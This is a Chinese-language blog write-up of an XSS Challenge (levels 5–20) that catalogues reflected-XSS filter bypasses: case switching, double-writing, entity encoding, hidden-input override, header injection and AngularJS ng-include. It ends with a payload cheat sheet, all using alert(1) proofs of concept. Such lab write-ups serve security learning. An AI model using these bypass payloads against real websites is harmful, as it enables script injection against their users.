XSS绕过技巧完全指南

XSS 绕过技巧完全指南

本文档整理自 XSS Challenge(hackhub.get-shell.com)level5–level16 的实战通关过程,涵盖反射型 XSS 的主流绕过手法。每 个技巧都包含:原理、适用场景、payload 示例和注意事项。面向初学者,从零讲起。


目录

  1. 前置知识:XSS 基础
  2. 技巧一:换向量——避开被过滤的关键字
  3. 技巧二:大小写绕过
  4. 技巧三:双写还原(删除型过滤)
  5. 技巧四:HTML 实体编码(属性值上下文)
  6. 技巧五:JS 注释骗语义校验
  7. 技巧六:隐藏输入框覆盖(type=hidden)
  8. 技巧七:HTTP 头注入(Referer / UA / Cookie)
  9. 技巧八:前端框架注入(AngularJS ng-include)
  10. 技巧九:换行符代替空格
  11. 通用方法论:遇到过滤怎么分析
  12. 速查表:所有 payload 一览

1. 前置知识:XSS 基础

什么是 XSS

XSS(跨站脚本攻击)是指攻击者把恶意 JavaScript 代码注入到网页中,当其他用户浏览该网页时,代码在用户浏览器中执行。

反射型 XSS 的基本原理

服务器把用户输入的参数直接塞进 HTML 页面返回。例如:

http://example.com/search?keyword=hello

服务器返回:

<h2>搜索结果:hello</h2>

如果输入改成 <script>alert(1)</script>,服务器不过滤直接塞进去:

<h2>搜索结果:<script>alert(1)</script></h2>

浏览器解析到 <script> 标签,执行其中的 JS 代码,弹出一个弹框——这就是 XSS。

常见注入点(输出位置)

用户输入可能出现在 HTML 的不同位置,每个位置的绕过方式不同:

注入位置 示例 特点
HTML 标签之间(文本节点) <h2>[输入]</h2> 可直接注入 <script> 或事件标签
HTML 属性值 <input value="[输入]"> 需要先闭合引号和属性
HTML 属性名 <input [输入]="..."> 属性名不被 HTML 实体解码
href 属性值 <a href="[输入]"> 支持 javascript: 伪协议,属性值会被解码
HTTP 头 Referer、User-Agent、Cookie 需要抓包工具修改

闭合的思路

如果输入在属性值里,比如 <input value="[输入]">,要注入新属性或新标签,需要先"闭合":

  1. " 闭合 value 的引号
  2. 注入新内容
  3. 处理模板尾部多余的引号(用 // 注释或 x="" 消化)
输入:  " onfocus=alert(1) //
结果:  <input value="" onfocus=alert(1) //"">
                                    ↑ // 注释掉后面的引号

2. 技巧一:换向量——避开被过滤的关键字

适用场景

服务器过滤了 on(破坏所有事件处理器)和 script(破坏 <script> 标签),但你发现 <> 尖括号没有被转义。

原理

事件处理器(onmouseover、onerror、onload...)都以 on 开头,过滤 on 就全废了。<script> 标签被过滤 script 也没了。但 HTML 里还有不含 on 也不含 script 的执行 JS 的方式——<a> 标签的 javascript: 伪协议。

Payload

"><a href="javascript:alert(1)">点我</a>

拆解

片段 作用
"> 闭合当前标签的 value 属性引号,再闭合标签本身
<a href="javascript:alert(1)"> 注入一个超链接,href 用 javascript: 伪协议
点我 链接显示文字(用户需要点击才触发)

为什么能绕过

  • <a> 标签不含 on
  • javascript 这个词不含 script(它是 java + script,但过滤的是独立的 script 关键字)✓
  • javascript: 伪协议在 href 中点击时执行 JS ✓

关键认知

javascriptscript 是不同的词。过滤器如果只匹配 script 这个关键字,javascript 不受影响。这是一个容易被忽略的细节。


2. 技巧二:大小写绕过

适用场景

过滤器只匹配小写关键字(如只匹配小写 on 或小写 <script),且 <> 尖括号可用。

原理

HTML 标签名和属性名不区分大小写<SCRIPT><script> 在浏览器看来完全一样,都会执行。但很多过滤器用 str_replace("script", ...) 这种大小写敏感的函数,只认小写。

Payload

"><SCRIPT>alert(1)</SCRIPT>

或混写:

"><ScRipt>alert(1)</ScRipt>

事件处理器也能用:

" Onfocus=alert(1) autofocus //
" ONMOUSEOVER=alert(1) //

为什么能绕过

  • 过滤器找 script → 找不到 SCRIPT(大小写不同)→ 放行
  • 浏览器解析 → SCRIPT 等同于 script → 正常执行

怎么判断过滤器是否大小写敏感

输入 Onfocus,看输出:

  • 输出 Onfocus(原样保留)→ 大小写敏感,可以用大小写绕过
  • 输出 O_nfocus 或被删 → 不区分大小写,这招不行

2. 技巧三:双写还原(删除型过滤)

适用场景

过滤器的行为是删除关键字(而不是替换成别的字符)。比如把 on 直接删掉,把 script 直接删掉。

原理

删除型过滤通常只做一次扫描删除。如果你把被过滤的关键字"嵌套"写——在原词内部插入一个完整的被过滤词——过滤器删掉插入的那个,剩下的正好拼回原词。

关键判断:删除型 vs 替换型

过滤类型 输入 onfocus 的输出 能否双写还原
删除型(on→空) focus(变短了) ✅ 可以
替换型(ono_n o_nfocus(变长了) ❌ 不行

看输出变短还是变长:变短 = 删除型 = 可以双写;变长 = 替换型 = 换别的路子。

Payload

script 双写:

"><scrscriptipt>alert(1)</scrscriptipt>

拆解:

输入:  s c r [s c r i p t] i p t
              ↑ 嵌入的 "script"
过滤器删掉嵌入的 "script":
输出:  s c r i p t = "script" ✓

on 双写:

" ononfocus=alert(1) //

拆解:

输入:  o n [o n] f o c u s
            ↑ 嵌入的 "on"
过滤器删掉嵌入的 "on":
输出:  o n f o c u s = "onfocus" ✓

常见错误

oonfocus → 删掉 on(第2-3位)→ ofocus(不对!)

ononfocus → 删掉第一个 on(第1-2位)→ onfocus(正确!)

核心要点:把完整的被过滤词插入到原词的开头或中间,使得删除后两半能拼回原词。不是简单地在前面加一两个字符。


2. 技巧四:HTML 实体编码(属性值上下文)

适用场景

注入点在 HTML 属性值里(如 <a href="[输入]">),且关键字被过滤。比如 javascript 里的 script 子串被替换或删除。

原理

浏览器在解析 HTML 属性值时,会先做 HTML 实体解码,然后再处理内容。所以你把关键字里的某个字母写成 HTML 实体,过滤器看到的是"不含关键字的字符串"放行,浏览器解码后还原成完整关键字。

关键限制

注入位置 实体编码有效吗 原因
属性(如 href="..." ✅ 有效 浏览器解码属性值
属性(如 onfocus ❌ 无效 属性名不被解码
标签名(如 <script> ❌ 无效 标签名不被解码

Payload

javascript 里的 p 编码成 &#112;

javascri&#112;t:alert(1)
视角 看到的内容 结果
过滤器 javascri&#112;t(不含完整 script 放行
浏览器 解码 &#112;pjavascript:alert(1) 执行

其他编码变体

javascr&#105;pt:alert(1)    ← i 编码成 &#105;
&#106;avascript:alert(1)    ← j 编码成 &#106;
javascr&#x69;pt:alert(1)    ← i 编码成十六进制 &#x69;

常用 HTML 实体编码表

字符 十进制实体 十六进制实体
a &#97; &#x61;
e &#101; &#x65;
i &#105; &#x69;
j &#106; &#x6a;
n &#110; &#x6e;
p &#112; &#x70;
s &#115; &#x73;
t &#116; &#x74;

2. 技巧五:JS 注释骗语义校验

适用场景

服务器不做字符级过滤,而是做语义校验——要求输入必须像合法 URL(比如必须包含 http://),否则拒绝。

原理

http:// 必须出现(骗过校验),但又不能干扰 javascript: 执行。靠的是 JavaScript 的行注释 //// 后面的内容被 JS 引擎当作注释忽略,不执行。

Payload

javascri&#112;t:alert(1)//http://

拆解

部分 骗谁 作用
&#112; script 过滤器 打断 script 子串,过滤器放行
//http:// http:// 合法性校验 字符串包含 http://,校验通过
//(JS 注释) 骗 JS 执行引擎 执行时 http:// 被注释掉,不报错

浏览器最终解码 + 执行的是:

javascript:alert(1)    // http:// 被注释掉了

核心思路

让校验条件和执行条件分离:一个 payload 同时伺候两个目标(过滤器要 http://,JS 引擎不要 http://),用 //http:// 对校验"可见"、对执行"不可见"。


2. 技巧六:隐藏输入框覆盖(type=hidden)

适用场景

注入点在 <input type="hidden"> 的 value 属性里。hidden 输入框不可见、不可交互,注入了事件处理器(如 onfocus)也触发不了——因为你点不到它、鼠标移不上去。

原理

HTML 规则:重复属性取第一个。模板原本是 value="" type="hidden",如果你注入 type="text",那么注入的 type="text" 出现在前面,浏览器取它,hidden 被覆盖成 text,框就变可见了。

Payload

" type="text" onfocus=alert(1) autofocus //

填入模板后的效果

<input name="t_sort" value="" type="text" onfocus=alert(1) autofocus //" type="hidden">
部分 作用
" 闭合 value 属性的引号
type="text" 覆盖 hidden,让框变可见可交互
onfocus=alert(1) 获得焦点时触发 alert
autofocus 自动聚焦,无需鼠标点击就能触发
// 注释掉模板尾部的引号

autofocus 的妙用

autofocus 让 input 自动获得焦点 → 触发 onfocus → 执行 alert(1)不需要任何用户交互,页面加载就自动触发,做 PoC(概念验证)非常方便。


适用场景

页面里有一些隐藏的 input 框,名字暗示来源(如 t_ref→Referer、t_ua→User-Agent、t_cook→Cookie),它们的 value 不是从 URL 参数读的,而是从 HTTP 请求头读的。

原理

HTTP 请求头(Referer、User-Agent、Cookie 等)是用户可控的输入。如果服务器把这些头的值塞进页面回显,就构成注入点。和 URL 参数注入的 payload 完全一样,区别只在于输入方式——需要用抓包工具改请求头。

三个头的注入方式

HTTP 头 对应 input 名 怎么修改
Referer t_ref Burp Suite 抓包改 Referer:
User-Agent t_ua Burp Suite 抓包改 User-Agent:
Cookie t_cook Burp Suite 抓包改 Cookie:

Payload(三个头通用)

" type="text" onfocus=alert(1) autofocus //

用 Burp Suite 修改请求头

  1. 浏览器配置代理 127.0.0.1:8080 指向 Burp
  2. 访问目标页面,Burp 拦截请求
  3. 找到对应的头(如 User-Agent:),把值替换为 payload
  4. 点击 Forward 放行请求

修改后的请求示例:

GET /level12.php HTTP/1.1
Host: ...
User-Agent: " type="text" onfocus=alert(1) autofocus //
...

核心认知

URL 参数只是可控输入的一种,HTTP 头同样是用户可控、同样会被服务器回显到页面。以后做渗透,所有请求头都该过一遍,看哪个被回显。见到 t_ref/t_ua/t_cook 这类名字带暗示的输入框,第一反应就是去测对应的 HTTP 头。


2. 技巧八:前端框架注入(AngularJS ng-include)

适用场景

页面引入了 AngularJS 框架(<html ng-app>),且存在 ng-include 指令,其值用户可控。服务器本身不过滤任何字符,但 Angular 的沙箱会拦截直接的表达式注入。

原理

AngularJS 的 ng-include 指令可以加载并渲染一个外部 HTML 片段。如果让它加载一个有反射型 XSS 的页面(比如同站的另一个页面,该页面不过滤),加载进来的 HTML 会被插入 DOM,其中的事件处理器(如 <img onerror>)就会触发。

为什么直接的表达式注入不行

{{constructor.constructor('alert(1)')()}}

AngularJS 1.2.0 有沙箱机制,会把 constructorFunction 等标记为"不安全对象"(ensureSafeObject),拦截访问。直接用表达式执行 JS 会被沙箱挡住。

Payload(借刀杀人)

src='level1.php?name=<img src=x onerror=alert(1)>'

攻击链条

level15 的 ng-include(可控)
  → 加载 level1.php?name=<img src=x onerror=alert(1)>
    → level1 原样反射 <img src=x onerror=alert(1)>(level1 没有过滤)
      → ng-include 把这段 HTML 插入 DOM
        → 浏览器尝试加载图片 x,失败
          → onerror 触发 → alert(1)

关键洞察

AngularJS 沙箱只管 {{}} 表达式求值,管不到 ng-include 加载的 HTML 内容。如果被加载的页面有反射 XSS,就等于"借刀杀人"——框架的沙箱保护不了它加载的外部内容。这是"绕不过就绕路"的典型:不正面硬刚沙箱逃逸,而是换一条不经过沙箱的注入路径。


2. 技巧九:换行符代替空格

适用场景

过滤器把空格替换成 &nbsp;(或其他不可用字符),导致标签属性之间没有真正的空格,浏览器无法识别属性边界。

原理

HTML 属性之间不只接受空格,还接受多种空白字符作为分隔符。浏览器解析时把它们都当属性分隔符,但过滤器的空格替换规则可能只针对普通空格(0x20),没覆盖其他空白字符。

可用的替代字符

字符 URL 编码 说明
换行符 %0A 最常用,通常不被过滤
回车符 %0D 同上
制表符 Tab %09 同上
斜杠 / %2F 也能分隔属性,但常被封

Payload

<img%0Asrc=x%0Aonerror=alert(1)>

%0A 是换行符的 URL 编码)

过滤前后的对比

输入:

<img%0Asrc=x%0Aonerror=alert(1)>

过滤器处理后(只替换普通空格,不处理 %0A):

<img
src=x
onerror=alert(1)>

浏览器解析: 把换行符当属性分隔符 → 正常识别为 <img src=x onerror=alert(1)> → 加载图片失败 → onerror 触发。

逐个试探

每个过滤器封的字符不同,需要逐个试:

  1. 先试空格 → 被 &nbsp; 替换 → 不行
  2. / → 也被封 → 不行
  3. %0A(换行)→ 放行 → 成功!

3. 通用方法论:遇到过滤怎么分析

第一步:摸清过滤规则

输入一组测试字符,一次测出所有可疑字符和关键字的过滤情况:

"'<>()onscriptjavascript

对比输入和输出,做"逐字符对照表":

字符 输入 输出 结论
" " &quot; 被转义
< < &lt; 被转义
> > &gt; 被转义
on on o_n 被替换(增加字符型)
script script scr_ipt 被替换(增加字符型)

注意:测试字符不要紧挨着拼在一起(如 onscript),否则可能互相干扰,看不出真实过滤边界。留空格分开测更准确。

第二步:判断过滤类型

过滤后表现 过滤类型 对策
输出变短(如 onfocusfocus 删除型 双写还原
输出变长(如 ono_n 替换型(增加字符) 换向量
字符变成 &quot; &lt; HTML 实体转义 看转义在哪一层,找编码绕过
关键字大小写不同结果不同 大小写敏感 大小写绕过

第三步:判断注入点位置

注入位置 可用技巧
HTML 文本节点 <script> 标签、事件标签(需 <> 可用)
属性值 闭合引号 + 注入属性/事件;HTML 实体编码;javascript: 伪协议(href)
属性名 实体编码无效,只能大小写/双写/换向量
href 属性值 javascript: 伪协议 + 实体编码 + JS 注释
hidden input type="text" 覆盖 + autofocus
HTTP 头 抓包工具修改,payload 同上
前端框架 利用框架特性(ng-include 加载等),绕过沙箱

第四步:按决策树选择绕过方式

过滤后输出比输入短吗?
├─ 是 → 删除型 → 双写还原
└─ 否 → 替换/转义型
    ├─ 试大小写(Onfocus / <SCRIPT>)→ 过了说明大小写敏感
    └─ 大小写也封
        ├─ 注入点在属性值?→ HTML 实体编码
        ├─ 注入点在 href?→ javascript: 伪协议 + 实体编码
        ├─ 有语义校验?→ JS 注释(//http://)
        └─ 以上都不行 → 换不含被过滤关键字的向量

第五步:不要在一条死路上耗

  • 事件处理器被封 → 换 javascript: 伪协议
  • script 被封 → 换不含 script 的标签或协议
  • <> 被转义 → 找第二个反射点(其他参数、HTTP 头)
  • 当前标签内搞不定 → 看看同参数有没有别的输出位置,过滤策略可能不同

XSS 的向量很多,一个被封换下一个,别死磕。先侦察(摸清过滤规则),再攻击(选对绕过方式)。


4. 速查表:所有 Payload 一览

按技巧分类

# 1. 换向量(避开 on 和 script)
"><a href="javascript:alert(1)">点我</a>

# 2. 大小写绕过
"><SCRIPT>alert(1)</SCRIPT>
" Onfocus=alert(1) autofocus //

# 3. 双写还原(删除型过滤)
"><scrscriptipt>alert(1)</scrscriptipt>
" ononfocus=alert(1) autofocus //

# 4. HTML 实体编码(属性值,如 href)
javascri&#112;t:alert(1)

# 5. JS 注释骗语义校验(必须含 http://)
javascri&#112;t:alert(1)//http://

# 6. 隐藏输入框覆盖(type=hidden)
" type="text" onfocus=alert(1) autofocus //

# 7. HTTP 头注入(Referer/UA/Cookie,payload 同上)
" type="text" onfocus=alert(1) autofocus //

# 8. AngularJS ng-include 借刀杀人
src='level1.php?name=<img src=x onerror=alert(1)>'

# 9. 换行符代替空格
<img%0Asrc=x%0Aonerror=alert(1)>

按过滤场景速查

过滤了什么 用哪个技巧 Payload
on + script(替换型),<> 可用 换向量 "><a href="javascript:alert(1)">点我</a>
on + script(小写敏感),<> 可用 大小写 "><SCRIPT>alert(1)</SCRIPT>
on + script(删除型) 双写 "><scrscriptipt>alert(1)</scrscriptipt>
script(属性值上下文) 实体编码 javascri&#112;t:alert(1)
必须含 http:// JS 注释 javascri&#112;t:alert(1)//http://
type=hidden 覆盖 hidden " type="text" onfocus=alert(1) autofocus //
注入点在 HTTP 头 抓包改头 " type="text" onfocus=alert(1) autofocus //
空格被封 换行符 <img%0Asrc=x%0Aonerror=alert(1)>
AngularJS 沙箱 ng-include 加载 src='level1.php?name=<img src=x onerror=alert(1)>'

常用事件处理器(需用户交互 vs 自动触发)

# 自动触发(无需鼠标交互,推荐做 PoC)
onfocus=alert(1) autofocus     # input 自动聚焦
onerror=alert(1)               # img 加载失败自动触发
onload=alert(1)                # svg/body 加载完成触发

# 需要鼠标交互
onmouseover=alert(1)           # 鼠标移过
onclick=alert(1)               # 点击
onmouseenter=alert(1)          # 鼠标进入

无需 on 事件的自动触发向量

<script>alert(1)</script>                    # 直接执行(需 <> 可用,script 未被过滤)
<img src=x onerror=alert(1)>                 # 图片加载失败触发
<svg onload=alert(1)>                        # SVG 加载完成触发
<details open ontoggle=alert(1)>             # details 展开触发

附录:关卡与技巧对照表

关卡 过滤规则 考点 Payload
5 ono_nscriptscr_ipt 换向量 "><a href="javascript:alert(1)">点我</a>
6 ono_n<script<scr_ipt(小写敏感) 大小写绕过 "><SCRIPT>alert(1)</SCRIPT>
7 on→删除,script→删除(只删一次) 双写还原 "><scrscriptipt>alert(1)</scrscriptipt>
8 scriptscr_ipt,注入点在 href HTML 实体编码 javascri&#112;t:alert(1)
9 必须包含 http:// JS 注释骗校验 javascri&#112;t:alert(1)//http://
10 <> 转义,注入点在 hidden input 覆盖 hidden + autofocus " type="text" onfocus=alert(1) autofocus //
11 <> 转义,注入点在 Referer 头 HTTP 头注入 同上(Burp 改 Referer)
12 <> 转义,注入点在 UA 头 HTTP 头注入 同上(Burp 改 User-Agent)
13 <> 转义,注入点在 Cookie 头 HTTP 头注入 同上(Burp 改 Cookie)
14 外部 EXIF 查看器(已失效) EXIF XSS(认知)
15 AngularJS 沙箱 ng-include 借刀杀人 src='level1.php?name=<img src=x onerror=alert(1)>'
16 空格→&nbsp;script→删除 换行符代替空格 <img%0Asrc=x%0Aonerror=alert(1)>
17-20 Flash XSS(Flash 已淘汰) 属性注入 + ExternalInterface arg01=a onmouseover=alert(1)(需 Flash 插件)

文档总结于 2026-09-01,XSS Challenge level5–level20 通关实践。
核心心法:先侦察(摸清过滤规则和注入点位置),再攻击(选对绕过方式),不要在一条死路上耗。

posted @ 2026-09-04 23:19  Awananhh  阅读(5)  评论(0)    收藏  举报